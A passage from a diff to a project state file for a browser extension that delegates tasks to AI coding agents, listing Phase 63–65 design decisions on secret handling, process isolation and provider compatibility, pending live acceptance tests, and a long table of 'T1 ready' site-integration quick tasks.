attacker-influenced executable selection cannot authorize an absent fact or registry mutation +- [Phase 63 closeout]: Supersede stale gate receipts by full task restart at a fresh commit fingerprint — Prior green evidence is retained in history but never represented as current when the reviewed tree has advanced +- [Phase 63 closeout]: Neutralize external lock-enabled Git stat-refresh interference with reversible per-entry assume-unchanged flags on content-clean generated files, reverted after the gates — Frozen wrappers, verifiers, and tests stay untouched while the raw-index byte invariant holds +- [Phase 64]: Treat only tool-calls and unknown as continuation finishes. — The pinned OpenCode 1.14.25 prompt loop continues only for those two reasons; every other bounded source-valid finish remains a candidate until EOF. +- [Phase 64]: Keep OpenCode fixture-gated but absent from production registry and compatibility exposure until Plan 05. — Parser and fixture drift must block CI before production selection, while the first-commit boundary must not smuggle in start authority. +- [Phase 64]: Project fixed tool and provider-error fields above the OpenCode parser. — Call identity, tool name, error status, and a closed diagnostic are sufficient; raw input, output, metadata, and error bodies remain confidential below the parser boundary. +- [Phase 64]: Reconstruct and recursively freeze the closed direct/owned-server topology before the supervisor reads adapter output. — Roles, streams, runtime references, bindings, lifecycle policy, and attestations remain provider-neutral data rather than callbacks or adapter-id branches. +- [Phase 64]: Keep fixed environment data serializable and spawn secrets opaque. — The sole Basic-password binding names a supervisor-owned reference and is legal only on the owned server and attach task; raw secret values have no contract field. +- [Phase 64]: Interpret policy evidence through one bounded own-data verifier and a closed assertion grammar. — Provider-native JSON, arbitrary prefixes, accessors, inherited records, cycles, and unbounded input cannot cross the attestation boundary. +- [Phase 64]: Use delegation and provider_server as the only durable runtime roles. — Task work and daemon infrastructure share one exact journal while only confirmed stale delegations create lost-run dispositions. +- [Phase 64]: Normalize exact version-1 Claude journals in memory without rewriting them on read. — Legacy recovery remains byte-compatible while every new mutation emits the closed version-2 role-aware schema. +- [Phase 64]: Derive private paths from four closed logical artifact kinds inside the minted run directory. — Callers cannot persist arbitrary cleanup paths, and the full contained graph is mode/symlink/foreign-node validated before mutation or removal. +- [Phase 64]: Persist fixed public environment and proven process identity only. — Secret bindings, resolved spawn environments, raw credentials, Authorization headers, and credential-shaped values remain structurally outside durable runtime state. +- [Phase 64]: Accept only OpenCode 1.14.25 after a shell-free bounded version probe and retained-realpath recheck. — Detection deliberately leaves account state unknown and never promotes partial evidence to readiness. +- [Phase 64]: Isolate OpenCode under private XDG config, test-home, and managed-config roots without overriding its native default model. — Project config, external skills, inherited Claude prompts, auto-update, and LSP downloads remain disabled. +- [Phase 64]: Carry task text only on task-child stdin and bind the sole opaque owned-server password reference only to server and attach roles. — Profile data cannot serialize task or secret values. +- [Phase 64]: Describe OpenCode policy with four closed generic attestations interpreted by the shared verifier. — No native checker, callback, extra adapter method, supervisor hook, reducer, or selector is introduced. +- [Phase 64]: Expose OpenCode only as an exact five-method frozen composition with task/server-only capabilities. — Detector, profile, parser, and supervisor-owned tree kill remain the only dependencies; the adapter gains no process, filesystem, network, secret, or timer authority. +- [Phase 64]: Promote Claude Code and OpenCode as one exact ordered registry/matrix/parser/manifest/fixture/adapter bijection. — The seven production and drift paths land in one atomic implementation commit, so registration cannot outrun its compatibility and native-drift evidence. +- [Phase 64]: Keep OpenCode spawn eligibility exact at 1.14.25 while Codex remains absent. — Newer same-major versions may be observed as degraded but cannot become spawn-authorizing evidence. +- [Phase 64]: Keep local provider evidence and browser evidence asymmetric. — Local doctor may expose bounded executable/version facts, while browser inventory and durable compatibility storage receive only closed availability/status facts. +- [Phase 64]: Require exact Claude Code/OpenCode registry and matrix membership before collecting or projecting evidence. — Roster corruption fails closed to canonical unsupported rows and cannot inject, omit, reorder, or case-vary provider authority. +- [Phase 64]: Ship OpenCode compatibility as observational data only while Codex remains unshipped. — Compatibility cannot select or recommend a provider, mutate settings, mark state dirty, grant spawn, or retain auth/billing/topology/native evidence. +- [Phase 64]: Keep owned-topology execution cold first and attach only after exact lease re-verification. — An already-selected task never changes process after warming, while topology, generation, process identity, secret presence, and authenticated health must all authorize a later attach. +- [Phase 64]: Retain only random owned-server secret bytes and materialize password/header strings transiently. — Only the reviewed server and selected attach spawn env plus bounded health request require the raw value; every mutable call object is scrubbed afterward. +- [Phase 64]: Release each attach lease only after task tree and runtime cleanup, with token-fenced idle teardown. — Reference counts protect active task sessions, stale idle callbacks cannot stop renewed work, and task cleanup always precedes server reclamation. +- [Phase 64]: Coalesce health, exit, idle, and daemon-close cleanup through one exact-once server stop. — Retiring leases become non-attachable immediately and no replacement server can warm until the proven old tree and volatile secret settle. +- [Phase 64]: Require generic effective-policy attestation before task authority — Process and owned-server evidence use only closed descriptors and the shared verifier; raw documents, credentials, headers, model values, and stderr remain transient. +- [Phase 64]: Make selected task-child spawn the permanent replay boundary — One role-checked writer sends the exact task plus EOF once; every later failure cleans up and settles without cold fallback. +- [Phase 64]: Publish a normalized result only after independent cleanup truth — Parser EOF, clean stderr, code 0/no signal, task-tree settlement, and runtime removal must all corroborate the private candidate before it becomes observable. +- [Phase 64]: Canonicalize only the exact shipped Claude Code and OpenCode records; keep Codex dormant and outside authorization. — One frozen exact provider table prevents browser authorization, compatibility, identity, and billing metadata from drifting apart. +- [Phase 64]: Reread background-owned selection before trust mutation and challenge consumption; keep side-panel start requests provider-free. — Only saved settings may select the adapter, so stale or attacker-supplied client intent cannot acquire provider authority. +- [Phase 64]: Bind a frozen canonical provider context only after request-bound started identity matches and controller start persists. — Events and final settlement retain accepted identity and honest billing even when settings change later. +- [Phase 64]: Reconstruct evicted-run provider context only from validated persisted provider and init metadata. — Current settings and daemon presentation fields cannot relabel or expand an already accepted run. +- [Phase 64]: Accept only exact canonical Claude Code or OpenCode own-data pairs at durable boundaries — Reconstruct frozen copies and derive later identity solely from persisted init metadata. +- [Phase 64]: Keep every normalized result in running state until an explicit authoritative terminal — Candidate results cannot hydrate or settle as fabricated success or failure. +- [Phase 64]: Mirror adapter-specific drift vocabularies in a bounded six-field browser projection — Throttle each shipped adapter independently and report only after terminal persistence succeeds. +- [Phase 64]: Upgrade compact MCP drift tuples at the background boundary with immutable accepted-run context — Preserve the wire contract while preventing provider relabeling or duplicate diagnostics. +- [Phase 64]: Use the canonical delegation-provider roster for exactly Claude Code and OpenCode compatibility — Avoid an OpenCode renderer branch and keep unshipped Codex fail-closed. +- [Phase 64]: Compute UI expiry from the earliest valid shipped-row timestamp — Missing or malformed shipped evidence fails closed to unknown. +- [Phase 64]: Keep the visible Providers section and CSS byte-identical — The sole HTML delta is the canonical helper script before the two existing consumers. +- [Phase 64]: Load the canonical provider helper before both side-panel consumers as the sole HTML change — Add no visible markup or CSS while enabling validated provider labels. +- [Phase 64]: Bind consent and trust to an exact canonical provider identity while keeping start intent provider-free — Background-owned settings remain the only adapter selection authority. +- [Phase 64]: Hide result and summary rows for every non-completed outcome — Only controller-authoritative completed terminal truth may present a persisted result candidate as success. +- [Phase 64]: Keep exactly three genuine OpenCode account, process, browser, and accessibility scenarios pending — Deterministic fixtures and DOM tests cannot promote human evidence. +- [Phase 64]: Use one explicit adapter aggregate section while retaining the separate first-commit drift gate — Root and focused execution cover every parser, fixture, and drift edge exactly once. +- [Phase 64]: Keep the existing direct drift-smoke CI job and one renamed Phase 64 root invocation — Preserve CI ordering and avoid duplicate or skipped adapter evidence. +- [Phase 64]: Mark all 28 implementation rows green only after every focused, historical, security, root, and preservation gate passes — Automated closure remains distinct from the pending live UAT boundary. +- [Phase 64]: Defer exactly UAT64-01 through UAT64-03 to the milestone-end live sweep — Formal verification found zero automated gaps; these cases require genuine account, process, browser, and accessibility evidence per the existing user instruction. +- [Phase 64]: Carry two non-blocking UI audit warnings forward — UI audit scored 21/24 with no blockers; 44px delegated targets and profile-version presentation coverage remain advisory findings recorded in 64-UI-REVIEW.md. +- [Phase 65]: Keep Phase 65 and milestone closure human-pending after zero-gap automated verification — UAT65-01 through UAT65-03 require genuine Codex accounts, live browser/process behavior, and assistive-technology evidence; automation cannot promote them. + +### Pending Todos + +None. Phases 57-63 are automated/source complete; Phase 63 automated validation is closed (all 30 per-task rows green) and awaits phase verification plus the milestone-end human UAT sweep. + +### Blockers/Concerns + +No active blocker. + +- **Milestone-end UAT gate:** Phase 58's 12 live Providers checks, Phase 59's 4 live pairing/lifecycle/accessibility checks, Phase 60's 7 authenticated CLI/OS/browser checks, Phase 61's 8 consolidated consent/theme/handoff/stream/worker/endurance/POSIX/restart scenarios, Phase 62's 3 doctor/stream/layout/accessibility checks, and Phase 63's eight genuine OS/Chrome/visual/accessibility scenarios remain pending. Per user instruction, all live evidence is accumulated and audited at milestone end; automated/source and independent review evidence is green through Phase 63 Plan 12 (automated validation closed), and no live pass is inferred. + +- **Phase 59 pairing decision resolved:** Use explicit `fsb-mcp-server pair`, a durable exact extension-Origin binding, a per-daemon 32-byte session credential, `pair --reset` for deliberate rebind, per-frame sessionId revalidation, and a secret-free `bridge.auth-status` acknowledgement. Silent TOFU is rejected. + +Phase 60 resolved the static inline-agent/profile and Windows shell-free resolution questions in source and deterministic tests. Their genuine installed-CLI corroboration remains in the deferred Phase 60 UAT ledger. Phase 64 Plan 07 resolved the remaining OpenCode server-shape item with cold-first execution plus an FSB-owned, authenticated `opencode serve` lease for later exact-identity attaches. + +- Milestone-end UAT gate: Phase 65 adds UAT65-01 through UAT65-03 (genuine auth matrix, live Codex/browser lifecycle, and accessibility/responsive rendering); all remain human_needed, pending, and evidence-empty. + +### Quick Tasks Completed + +| # | Description | Date | Commit | Status | Directory | +|---|-------------|------|--------|--------|-----------| +| 260728-k2v | Replace the chrome.action connection badge with a state-driven animated toolbar icon | 2026-07-28 | 45aa40e1 | | [260728-k2v-animated-toolbar-icon](./quick/260728-k2v-animated-toolbar-icon/) | +| 260720-jb5 | Patch Sheets session redaction and multi-tab visual-session token finalization | 2026-07-20 | 2f8359b2 | Verified | [260720-jb5-patch-sheets-session-redaction-and-multi](./quick/260720-jb5-patch-sheets-session-redaction-and-multi/) | +| 260715-hs1 | Replace Google Sheets OAuth with a zero-extra-auth signed-in tab session | 2026-07-15 | 9ab3d40d | Needs Review | [260715-hs1-replace-google-sheets-oauth-with-a-signe](./quick/260715-hs1-replace-google-sheets-oauth-with-a-signe/) | +| 260715-8wh | Implement production-safe Google Sheets API MVP with Chrome OAuth, typed read/write capabilities, and spreadsheet-data recording redaction | 2026-07-15 | a83d21b8 | | [260715-8wh-implement-production-safe-google-sheets-](./quick/260715-8wh-implement-production-safe-google-sheets-/) | +| 260707-7id | Record MCP agent sessions into logs, history, replay, and memory like autopilot runs | 2026-07-07 | 721e2826 | | [260707-7id-record-mcp-agent-sessions-into-logs-hist](./quick/260707-7id-record-mcp-agent-sessions-into-logs-hist/) | +| 260701-e6c | Implement Supabase to be T1 ready | 2026-07-01 | 2619d949 | | [260701-e6c-implement-this-supabase-to-be-t1-ready-u](./quick/260701-e6c-implement-this-supabase-to-be-t1-ready-u/) | +| 260701-e6d | Implement Microsoft Teams to be T1 ready | 2026-07-01 | working-tree | | [260701-e6d-implement-this-microsoft-teams-to-be-t1-](./quick/260701-e6d-implement-this-microsoft-teams-to-be-t1-/) | +| 260701-e69 | Implement Steam T1 readiness as blocked-policy terminal coverage | 2026-07-01 | blocked-working-tree | | [260701-e69-implement-steam-to-be-t1-ready-using-gsd](./quick/260701-e69-implement-steam-to-be-t1-ready-using-gsd/) | +| 260701-iz0 | Implement this Steam to be T1 ready | 2026-07-01 | 8d64b761 | | [260701-iz0-implement-this-steam-to-be-t1-ready](./quick/260701-iz0-implement-this-steam-to-be-t1-ready/) | +| 260701-e5j | Implement ClickUp to be T1 ready | 2026-07-01 | 999f07b0 | | [260701-e5j-implement-this-clickup-to-be-t1-ready-wo](./quick/260701-e5j-implement-this-clickup-to-be-t1-ready-wo/) | +| 260701-e5y | Implement Glama to be T1 ready | 2026-07-01 | working-tree | | [260701-e5y-implement-glama-to-be-t1-ready](./quick/260701-e5y-implement-glama-to-be-t1-ready/) | +| 260701-e60 | Implement LinkedIn to be T1 ready | 2026-07-01 | working-tree | | [260701-e60-implement-this-linkedin-to-be-t1-ready](./quick/260701-e60-implement-this-linkedin-to-be-t1-ready/) | +| 260701-e5v | Implement this Google Maps to be T1 ready | 2026-07-01 | working-tree | | [260701-e5v-implement-this-google-maps-to-be-t1-read](./quick/260701-e5v-implement-this-google-maps-to-be-t1-read/) | +| 260701-e5i | Implement Confluence to be T1 ready | 2026-07-01 | b8cd262a | | [260701-e5i-implement-this-confluence-to-be-t1-ready](./quick/260701-e5i-implement-this-confluence-to-be-t1-ready/) | +| 260701-e5j | Implement Fiverr to be T1 ready | 2026-07-01 | 41d5befd | | [260701-e5j-implement-this-fiverr-to-be-t1-ready](./quick/260701-e5j-implement-this-fiverr-to-be-t1-ready/) | +| 260701-e5y | Implement Microsoft Word to be T1 ready | 2026-07-01 | working-tree | | [260701-e5y-implement-this-microsoft-word-to-be-t1-r](./quick/260701-e5y-implement-this-microsoft-word-to-be-t1-r/) | +| 260701-e5m | Implement Fidelity to be T1 ready | 2026-07-01 | 72423b87 | | [260701-e5m-implement-fidelity-to-be-t1-ready](./quick/260701-e5m-implement-fidelity-to-be-t1-ready/) | +| 260701-e76 | Implement Uber rideshare to be T1 ready | 2026-07-01 | working-tree | | [260701-e76-implement-uber-rideshare-to-be-t1-ready](./quick/260701-e76-implement-uber-rideshare-to-be-t1-ready/) | +| 260701-e5v | Implement this Lyft to be T1 ready. | 2026-07-01 | working-tree | | [260701-e5v-implement-this-lyft-to-be-t1-ready](./quick/260701-e5v-implement-this-lyft-to-be-t1-ready/) | +| 260701-e6l | Implement Robinhood to be T1 ready | 2026-07-01 | working-tree | | [260701-e6l-implement-robinhood-to-be-t1-ready](./quick/260701-e6l-implement-robinhood-to-be-t1-ready/) | +| 260701-e74 | Fourth-agent T1 readiness integration pass for Uber, YouTube, and YouTube Music | 2026-07-01 | working-tree | | [260701-e74-fourth-agent-t1-readiness-integration-pa](./quick/260701-e74-fourth-agent-t1-readiness-integration-pa/) | +| 260701-e61 | Implement Netflix T1 readiness as blocked-policy terminal coverage | 2026-07-01 | working-tree | | [260701-e61-implement-this-netflix-to-be-t1-ready-ow](./quick/260701-e61-implement-this-netflix-to-be-t1-ready-ow/) | +| 260701-2m5 | Make Linear T1 ready | 2026-07-01 | working-tree | | [260701-2m5-make-linear-t1-ready](./quick/260701-2m5-make-linear-t1-ready/) | +| 260701-2m4 | Implement Sentry to be T1 ready | 2026-07-01 | working-tree | | [260701-2m4-implement-sentry-to-be-t1-ready](./quick/260701-2m4-implement-sentry-to-be-t1-ready/) | +| 260701-2mh | Make Uber Eats implementation T1 ready | 2026-07-01 | d4ab8789 | | [260701-2mh-make-uber-eats-implementation-t1-ready](./quick/260701-2mh-make-uber-eats-implementation-t1-ready/) | +| 260701-2sl | Implement PostHog to be T1 ready | 2026-07-01 | working-tree | | [260701-2sl-implement-posthog-to-be-t1-ready](./quick/260701-2sl-implement-posthog-to-be-t1-ready/) | +| 260701-2o4 | Implement Tinder to be T1 ready | 2026-07-01 | working-tree | | [260701-2o4-implement-tinder-to-be-t1-ready](./quick/260701-2o4-implement-tinder-to-be-t1-ready/) | +| 260701-2nw | Implement TikTok T1 readiness | 2026-07-01 | working-tree | | [260701-2nw-implement-this-tiktok-to-be-t1-ready](./quick/260701-2nw-implement-this-tiktok-to-be-t1-ready/) | +| 260701-2ln | Implement Eventbrite to be T1 ready | 2026-07-01 | working-tree | | [260701-2ln-implement-eventbrite-to-be-t1-ready](./quick/260701-2ln-implement-eventbrite-to-be-t1-ready/) | +| 260701-2lr | Implement Datadog to be T1 ready | 2026-07-01 | working-tree | | [260701-2lr-implement-datadog-to-be-t1-ready](./quick/260701-2lr-implement-datadog-to-be-t1-ready/) | +| 260701-2m8 | Make Kayak T1 ready | 2026-07-01 | working-tree | | [260701-2m8-make-kayak-t1-ready](./quick/260701-2m8-make-kayak-t1-ready/) | +| 260701-2mc | Implement Zendesk to be T1 ready | 2026-07-01 | working-tree | | [260701-2mc-implement-zendesk-to-be-t1-ready](./quick/260701-2mc-implement-zendesk-to-be-t1-ready/) | +| 260701-2ki | Implement AWS T1 readiness | 2026-07-01 | working-tree | | [260701-2ki-implement-aws-to-be-t1-ready](./quick/260701-2ki-implement-aws-to-be-t1-ready/) | +| 260701-2m5 | Implement Threads T1 readiness | 2026-07-01 | working-tree | | [260701-2m5-implement-this-threads-to-be-t1-ready](./quick/260701-2m5-implement-this-threads-to-be-t1-ready/) | +| 260701-2km | Implement Airtable to be T1 ready | 2026-07-01 | working-tree | | [260701-2km-implement-airtable-to-be-t1-ready-using-](./quick/260701-2km-implement-airtable-to-be-t1-ready-using-/) | +| 260701-2lo | Make OneNote T1-ready | 2026-07-01 | working-tree | | [260701-2lo-make-onenote-t1-ready](./quick/260701-2lo-make-onenote-t1-ready/) | +| 260701-2m6 | Implement Telegram to be T1 ready | 2026-07-01 | working-tree | | [260701-2m6-implement-telegram-to-be-t1-ready](./quick/260701-2m6-implement-telegram-to-be-t1-ready/) | +| 260701-2lx | Make Google Calendar T1 ready | 2026-07-01 | working-tree | | [260701-2lx-make-google-calendar-t1-ready](./quick/260701-2lx-make-google-calendar-t1-ready/) | +| 260701-2lw | Make this app Etsy T1-ready | 2026-07-01 | working-tree | | [260701-2lw-make-this-app-etsy-t1-ready](./quick/260701-2lw-make-this-app-etsy-t1-ready/) | +| 260701-2q3 | Implement OpenTable T1 readiness | 2026-07-01 | working-tree | | [260701-2q3-implement-opentable-to-be-t1-ready](./quick/260701-2q3-implement-opentable-to-be-t1-ready/) | +| 260701-2ll | Implement eBay to be T1 ready | 2026-07-01 | working-tree | | [260701-2ll-implement-ebay-to-be-t1-ready](./quick/260701-2ll-implement-ebay-to-be-t1-ready/) | +| 260701-2md | Make Mastodon T1-ready | 2026-07-01 | working-tree | | [260701-2md-make-mastodon-t1-ready](./quick/260701-2md-make-mastodon-t1-ready/) | +| 260701-2ku | Implement Claude T1 readiness | 2026-07-01 | working-tree | | [260701-2ku-implement-claude-to-be-t1-ready-using-gs](./quick/260701-2ku-implement-claude-to-be-t1-ready-using-gs/) | +| 260701-2lo | Implement Craigslist to be T1 ready | 2026-07-01 | working-tree | | [260701-2lo-implement-craigslist-to-be-t1-ready](./quick/260701-2lo-implement-craigslist-to-be-t1-ready/) | +| 260701-2lm | Make DoorDash T1-ready | 2026-07-01 | working-tree | | [260701-2lm-make-doordash-t1-ready](./quick/260701-2lm-make-doordash-t1-ready/) | +| 260701-2kj | Implement Amazon T1 readiness | 2026-07-01 | working-tree | | [260701-2kj-implement-amazon-to-be-t1-ready](./quick/260701-2kj-implement-amazon-to-be-t1-ready/) | +| 260701-2lr | Implement MiniMax T1 readiness | 2026-07-01 | working-tree | | [260701-2lr-implement-this-minimax-to-be-t1-ready](./quick/260701-2lr-implement-this-minimax-to-be-t1-ready/) | +| 260701-2mc | Implement Robinhood to be T1 ready | 2026-07-01 | 1dcb49a | | [260701-2mc-implement-robinhood-to-be-t1-ready](./quick/260701-2mc-implement-robinhood-to-be-t1-ready/) | +| 260701-2nu | Make this app Jira T1-ready | 2026-07-01 | working-tree | | [260701-2nu-make-this-app-jira-t1-ready](./quick/260701-2nu-make-this-app-jira-t1-ready/) | +| 260701-2km | Implement Carta to be T1 ready | 2026-07-01 | working-tree | | [260701-2km-implement-carta-to-be-t1-ready](./quick/260701-2km-implement-carta-to-be-t1-ready/) | +| 260701-2m2 | Implement Temporal to be T1 ready | 2026-07-01 | working-tree | | [260701-2m2-implement-this-temporal-to-be-t1-ready](./quick/260701-2m2-implement-this-temporal-to-be-t1-ready/) | +| 260701-2ml | Implement YouTube Music to be T1 ready | 2026-07-01 | 51666789 | | [260701-2ml-implement-youtube-music-to-be-t1-ready](./quick/260701-2ml-implement-youtube-music-to-be-t1-ready/) | +| 260701-e78 | Repair YouTube Music blocked-policy T1 readiness | 2026-07-01 | ce60e8cb | | [260701-e78-implement-youtube-music-to-be-t1-ready](./quick/260701-e78-implement-youtube-music-to-be-t1-ready/) | +| 260701-2no | Make YouTube T1-ready | 2026-07-01 | working-tree | | [260701-2no-make-youtube-t1-ready](./quick/260701-2no-make-youtube-t1-ready/) | +| 260701-j08 | Implement this YouTube to be T1 ready | 2026-07-01 | ce10b54d | | [260701-j08-implement-this-youtube-to-be-t1-ready](./quick/260701-j08-implement-this-youtube-to-be-t1-ready/) | +| 260701-2lz | Make this app OnlyFans T1 ready | 2026-07-01 | working-tree | | [260701-2lz-make-this-app-onlyfans-t1-ready](./quick/260701-2lz-make-this-app-onlyfans-t1-ready/) | +| 260701-2du | Fix CDP keyboard attach degradation that silently drops trusted keystrokes into cross-origin iframes (Stripe CVC) | 2026-07-01 | 293162d9 | | [260701-2du-fix-cdp-keyboard-attach-degradation-that](./quick/260701-2du-fix-cdp-keyboard-attach-degradation-that/) | +| 260701-2lu | Implement Netflix to be T1 ready | 2026-07-01 | working-tree | | [260701-2lu-implement-netflix-to-be-t1-ready](./quick/260701-2lu-implement-netflix-to-be-t1-ready/) | +| 260701-1nd | Make this app Calendly T1-ready | 2026-07-01 | working-tree | | [260701-1nd-make-this-app-calendly-t1-ready](./quick/260701-1nd-make-this-app-calendly-t1-ready/) | +| 260701-1kg | Make this app Walmart T1-ready | 2026-07-01 | working-tree | | [260701-1kg-make-this-app-walmart-t1-ready](./quick/260701-1kg-make-this-app-walmart-t1-ready/) | +| 260701-1kv | Make this app DockerHub T1-ready | 2026-07-01 | working-tree | | [260701-1kv-make-this-app-dockerhub-t1-ready](./quick/260701-1kv-make-this-app-dockerhub-t1-ready/) | +| 260701-1ka | Make this app Figma T1-ready | 2026-07-01 | working-tree | | [260701-1ka-make-this-app-figma-t1-ready](./quick/260701-1ka-make-this-app-figma-t1-ready/) | +| 260701-1kj | Make this app Instacart T1-ready | 2026-07-01 | working-tree | | [260701-1kj-make-this-app-instacart-t1-ready](./quick/260701-1kj-make-this-app-instacart-t1-ready/) | +| 260701-1tu | Make this app ClickHouse T1-ready | 2026-07-01 | working-tree | | [260701-1tu-make-this-app-clickhouse-t1-ready](./quick/260701-1tu-make-this-app-clickhouse-t1-ready/) | +| 260701-1lj | Make this app Slack T1-ready | 2026-07-01 | working-tree | | [260701-1lj-make-this-app-slack-t1-ready](./quick/260701-1lj-make-this-app-slack-t1-ready/) | +| 260630-vog | Make this app Panda Express T1-ready | 2026-07-01 | working-tree | | [260630-vog-make-this-app-pandaexpress-t1-ready](./quick/260630-vog-make-this-app-pandaexpress-t1-ready/) | +| 260630-vnj | Make this app Facebook T1-ready | 2026-07-01 | working-tree | | [260630-vnj-make-this-app-facebook-t1-ready](./quick/260630-vnj-make-this-app-facebook-t1-ready/) | +| 260630-vnw | Make this app New Relic T1-ready | 2026-07-01 | working-tree | | [260630-vnw-make-this-app-newrelic-t1-ready](./quick/260630-vnw-make-this-app-newrelic-t1-ready/) | +| 260630-vop | Make this app Redfin T1-ready | 2026-07-01 | working-tree | | [260630-vop-make-this-app-redfin-t1-ready](./quick/260630-vop-make-this-app-redfin-t1-ready/) | +| 260630-vq5 | Make this app Coinbase T1-ready | 2026-07-01 | working-tree | | [260630-vq5-make-this-app-coinbase-t1-ready](./quick/260630-vq5-make-this-app-coinbase-t1-ready/) | +| 260630-vns | Make this app Booking T1-ready | 2026-07-01 | working-tree | | [260630-vns-make-this-app-booking-t1-ready](./quick/260630-vns-make-this-app-booking-t1-ready/) | +| 260630-vo5 | Make this app CircleCI T1-ready | 2026-07-01 | working-tree | | [260630-vo5-make-this-app-circleci-t1-ready](./quick/260630-vo5-make-this-app-circleci-t1-ready/) | +| 260630-vpd | Make this app GitLab T1-ready | 2026-07-01 | working-tree | | [260630-vpd-make-this-app-gitlab-t1-ready](./quick/260630-vpd-make-this-app-gitlab-t1-ready/) | +| 260630-u7d | Make this app Airbnb T1-ready | 2026-07-01 | working-tree | | [260630-u7d-make-this-app-airbnb-t1-ready](./quick/260630-u7d-make-this-app-airbnb-t1-ready/) | +| 260630-u64 | Make this app Outlook T1-ready | 2026-07-01 | working-tree | | [260630-u64-make-this-app-outlook-t1-ready](./quick/260630-u64-make-this-app-outlook-t1-ready/) | +| 260630-u5z | Make this app Retool T1-ready | 2026-07-01 | working-tree | | [260630-u5z-make-this-app-retool-t1-ready](./quick/260630-u5z-make-this-app-retool-t1-ready/) | +| 260630-u70 | Make this app Excel T1-ready | 2026-07-01 | working-tree | | [260630-u70-make-this-app-excel-t1-ready](./quick/260630-u70-make-this-app-excel-t1-ready/) | +| 260630-u62 | Make this app Costco T1-ready | 2026-07-01 | working-tree | | [260630-u62-make-this-app-costco-t1-ready](./quick/260630-u62-make-this-app-costco-t1-ready/) | +| 260630-u6d | Make this app YNAB T1-ready | 2026-07-01 | working-tree | | [260630-u6d-make-this-app-ynab-t1-ready](./quick/260630-u6d-make-this-app-ynab-t1-ready/) | +| 260630-u7s | Make this app Todoist T1-ready | 2026-07-01 | working-tree | | [260630-u7s-make-this-app-todoist-t1-ready](./quick/260630-u7s-make-this-app-todoist-t1-ready/) | +| 260630-u7q | Make this app Expedia T1-ready | 2026-07-01 | working-tree | | [260630-u7q-make-this-app-expedia-t1-ready](./quick/260630-u7q-make-this-app-expedia-t1-ready/) | +| 260630-u6s | Make this app Webflow T1-ready | 2026-07-01 | working-tree | | [260630-u6s-make-this-app-webflow-t1-ready](./quick/260630-u6s-make-this-app-webflow-t1-ready/) | +| 260630-qjb | Make this app PowerPoint T1-ready | 2026-07-01 | working-tree | | [260630-qjb-make-this-app-powerpoint-t1-ready](./quick/260630-qjb-make-this-app-powerpoint-t1-ready/) | +| 260630-qjb | Make this app Lucid T1-ready | 2026-07-01 | working-tree | | [260630-qjb-make-this-app-lucid-t1-ready](./quick/260630-qjb-make-this-app-lucid-t1-ready/) | +| 260630-qj8 | Make this app Target T1-ready | 2026-07-01 | working-tree | | [260630-qj8-make-this-app-target-t1-ready](./quick/260630-qj8-make-this-app-target-t1-ready/) | +| 260630-qjd | Make Discord app T1-ready | 2026-07-01 | working-tree | | [260630-qjd-make-discord-app-t1-ready](./quick/260630-qjd-make-discord-app-t1-ready/) | +| 260630-qj0 | Make this app Snowflake T1-ready | 2026-07-01 | working-tree | | [260630-qj0-make-this-app-snowflake-t1-ready](./quick/260630-qj0-make-this-app-snowflake-t1-ready/) | +| 260630-ql3 | Make this app ChatGPT T1-ready | 2026-07-01 | working-tree | | [260630-ql3-make-this-app-chatgpt-t1-ready](./quick/260630-ql3-make-this-app-chatgpt-t1-ready/) | +| 260630-qj4 | Make this app Hack2Hire T1-ready | 2026-07-01 | working-tree | | [260630-qj4-make-this-app-hack2hire-t1-ready](./quick/260630-qj4-make-this-app-hack2hire-t1-ready/) | +| 260630-qiu | Make this app CockroachDB T1-ready | 2026-07-01 | working-tree | | [260630-qiu-make-this-app-cockroachdb-t1-ready](./quick/260630-qiu-make-this-app-cockroachdb-t1-ready/) | +| 260630-qjh | Make this app MSWord T1-ready | 2026-06-30 | working-tree | | [260630-qjh-make-this-app-msword-t1-ready](./quick/260630-qjh-make-this-app-msword-t1-ready/) | +| 260630-nh1 | Make this app Chipotle T1-ready | 2026-06-30 | working-tree | | [260630-nh1-make-this-app-chipotle-t1-ready](./quick/260630-nh1-make-this-app-chipotle-t1-ready/) | +| 260630-nhs | Make this app amplitude T1-ready | 2026-06-30 | working-tree | | [260630-nhs-make-this-app-amplitude-t1-ready](./quick/260630-nhs-make-this-app-amplitude-t1-ready/) | +| 260630-nh1 | Make this app dominos T1-ready | 2026-06-30 | working-tree | | [260630-nh1-make-this-app-dominos-t1-ready](./quick/260630-nh1-make-this-app-dominos-t1-ready/) | +| 260630-njd | Make this app WhatsApp T1-ready | 2026-06-30 | working-tree | | [260630-njd-make-this-app-whatsapp-t1-ready](./quick/260630-njd-make-this-app-whatsapp-t1-ready/) | +| 260630-nk0 | Make Medium T1-ready | 2026-06-30 | working-tree | | [260630-nk0-make-medium-t1-ready](./quick/260630-nk0-make-medium-t1-ready/) | +| 260630-njd | Make this app Starbucks T1-ready | 2026-06-30 | working-tree | | [260630-njd-make-this-app-starbucks-t1-ready](./quick/260630-njd-make-this-app-starbucks-t1-ready/) | +| 260630-nh3 | Make this app Bitbucket T1-ready | 2026-06-30 | working-tree | | [260630-nh3-make-this-app-bitbucket-t1-ready](./quick/260630-nh3-make-this-app-bitbucket-t1-ready/) | +| 260630-mh2 | Make this app instagram T1-ready | 2026-06-30 | working-tree | | [260630-mh2-make-this-app-instagram-t1-ready](./quick/260630-mh2-make-this-app-instagram-t1-ready/) | +| 260630-mj0 | Make Pinterest T1-ready | 2026-06-30 | working-tree | | [260630-mj0-make-this-app-pinterest-t1-ready](./quick/260630-mj0-make-this-app-pinterest-t1-ready/) | +| 260630-mga | Make Instagram T1-ready | 2026-06-30 | working-tree | | [260630-mga-make-instagram-t1-ready](./quick/260630-mga-make-instagram-t1-ready/) | +| 260630-mjs | Make MongoDB Atlas T1-ready | 2026-06-30 | working-tree | | [260630-mjs-make-this-app-mongodb-t1-ready](./quick/260630-mjs-make-this-app-mongodb-t1-ready/) | +| 260630-mgp | Make Stack Overflow T1-ready | 2026-06-30 | working-tree | | [260630-mgp-make-stack-overflow-t1-ready](./quick/260630-mgp-make-stack-overflow-t1-ready/) | +| 260630-moa | Make this app Netlify T1-ready | 2026-06-30 | working-tree | | [260630-moa-make-this-app-netlify-t1-ready](./quick/260630-moa-make-this-app-netlify-t1-ready/) | +| 260630-mjd | Make Priceline T1-ready | 2026-06-30 | working-tree | | [260630-mjd-make-this-app-priceline-t1-ready](./quick/260630-mjd-make-this-app-priceline-t1-ready/) | +| 260630-mgf | Make this app Reddit T1-ready | 2026-06-30 | working-tree | | [260630-mgf-make-this-app-reddit-t1-ready](./quick/260630-mgf-make-this-app-reddit-t1-ready/) | +| 260630-mgf | Make Tumblr 